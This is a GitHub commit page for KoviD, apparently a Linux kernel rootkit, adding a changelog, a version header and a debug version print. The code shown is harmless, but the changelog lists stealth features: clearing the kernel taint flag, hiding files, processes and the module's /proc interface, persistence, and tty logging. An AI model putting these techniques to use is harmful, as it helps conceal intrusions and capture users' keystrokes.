Skip to content

Commit

Permalink
Merge pull request #112 from carloslack/kvdev
Browse files Browse the repository at this point in the history
Add changelog
  • Loading branch information
carloslack authored Oct 2, 2024
2 parents 28335cc + b58fd06 commit 4770cb5
Show file tree
Hide file tree
Showing 3 changed files with 38 additions and 2 deletions.
25 changes: 25 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# Changelog

All notable changes to KoviD will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/).

## 2.0.0 - Oct 2 2024
### Added
- Zero `/proc/sys/kernel/tainted`
- Added "-g" proc interface to support inode hiding files globally
- Added cheatsheet docfile for KoviD user interface

### Changed
- Remove magic word from syslog output, use KoviD /proc interface instead.
- Add syslog-style timestamp to `tty` logfile
- Modified "-a" proc interface to support full-path file hiding
- Set persistence filenames from uuidgen output

### Fixed
- [Fix hidden process leftover in /proc](https://github.com/carloslack/KoviD/issues/100)
- Hide kovid /proc interface even when it is available
- Fix pr(info/warn/...) to proper no-op when in release mode



8 changes: 6 additions & 2 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -26,6 +26,7 @@

#include "lkm.h"
#include "fs.h"
#include "version.h"

#define MAX_PROCFS_SIZE PAGE_SIZE
#define MAX_MAGIC_WORD_SIZE 16
Expand All @@ -41,7 +42,7 @@
#ifndef PRCTIMEOUT
/**
* default timeout seconds
* before /proc/kovid is removed
* before /proc/<name> is removed
*/
#define _PRCTIMEOUT 360
#else
Expand Down Expand Up @@ -89,7 +90,6 @@ static const struct __lkmmod_t lkmmod = {
.this_mod = THIS_MODULE,
};


/*
* kernel structures so the compiler
* can know about sizes and data types
Expand Down Expand Up @@ -736,6 +736,10 @@ static int __init kv_init(void) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0)
struct kernel_syscalls *kaddr = NULL;
#endif

/** show current version for when running in debug mode */
prinfo("KoviD version %s\n", KOVID_VERSION);

if (strlen(PROCNAME) == 0) {
procname_err = "Empty PROCNAME build parameter. Check Makefile.";
} else if (!strncmp(PROCNAME, "changeme", 5)) {
Expand Down
7 changes: 7 additions & 0 deletions src/version.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#ifndef __VERSION_H
#define __VERSION_H

#define KOVID_VERSION "2.0.0"

#endif // __VERSION_H

0 comments on commit 4770cb5

Please sign in to comment.